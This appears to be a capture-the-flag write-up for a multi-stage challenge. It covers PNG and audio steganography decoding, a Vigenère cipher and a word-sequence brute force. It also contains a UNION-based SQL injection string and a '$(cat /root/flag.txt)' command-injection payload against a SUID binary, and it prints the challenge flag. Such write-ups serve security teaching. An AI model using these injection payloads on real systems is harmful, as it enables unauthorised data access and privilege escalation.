ESPILON-CTF-2026-Writeups/Misc/LAYER_ZERO/README.md

157 lines
4.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LAYER_ZERO — Solution
**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
## Overview
Multi-stage challenge. Four sealed channels must be unlocked in sequence.
Each channel produces a token; submit all four to `LAYER_GOD` to unlock a
SUID binary that reveals the flag.
| Layer | Channel | Port | Technique |
|-------|---------------|---------|-----------------------------|
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
## Layer 01 — CHANNEL_STATIC (PNG stego)
The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the
**filter type bytes** — the first byte of each scanline in the raw IDAT stream.
```python
import struct, zlib
with open("lain_signal.png", "rb") as f:
data = f.read()
pos, idat = 8, b""
while pos < len(data):
length = struct.unpack(">I", data[pos:pos+4])[0]
ctype = data[pos+4:pos+8]
if ctype == b"IDAT":
idat += data[pos+8:pos+8+length]
pos += 12 + length
raw = zlib.decompress(idat)
row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
bits = [raw[i * row_size] for i in range(24)]
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
```
Submit the decoded string:
```text
SUBMIT <decoded>
```
Server responds with token `L01:xxxxxxxxxx`.
## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi.
```text
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
```
One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`:
```python
def vigenere_decrypt(text, key):
result, ki = [], 0
for c in text.upper():
if c.isalpha():
shift = ord(key[ki % len(key)].upper()) - ord("A")
result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
ki += 1
else:
result.append(c)
return "".join(result)
```
Submit the plaintext to `/submit?code=<plaintext>`.
Server responds with token `L03:xxxxxxxxxx`.
## Layer 07 — CHANNEL_WIRED (state machine)
The service at port 4242 expects a 4-word sequence. The first two are fixed:
`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists:
```python
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
for w3, w4 in itertools.product(WORD3, WORD4):
# try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4
```
Server responds with token `L07:xxxxxxxxxx` on success.
## Layer 13 — CHANNEL_EIRI (echo hiding)
The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz.
Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or
`D0=100` (bit 0) is embedded in 1024-sample segments.
```python
import numpy as np
# After streaming and collecting pcm_data:
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
SEG_SIZE, D0, D1 = 1024, 100, 200
N_CHARS = 5
bits = []
for i in range(N_CHARS * 8):
seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
ac = np.correlate(seg, seg, "full")
mid = len(ac) // 2
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
```
Submit the decoded code:
```text
SUBMIT <code>
```
Server responds with token `L13:xxxxxxxxxx`.
## LAYER_GOD — Ritual + SUID exploit
Submit all four tokens to port 6660:
```text
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
```
On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked.
Exploit it via command injection — the binary calls `system()` with unsanitised input:
```bash
/opt/protocol7/eiri_validator
# When prompted, enter:
$(cat /root/flag.txt)
```
## Automated Solver
```bash
python3 solve.py [host] [port]
```
## Flag
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
## Author
Eun0us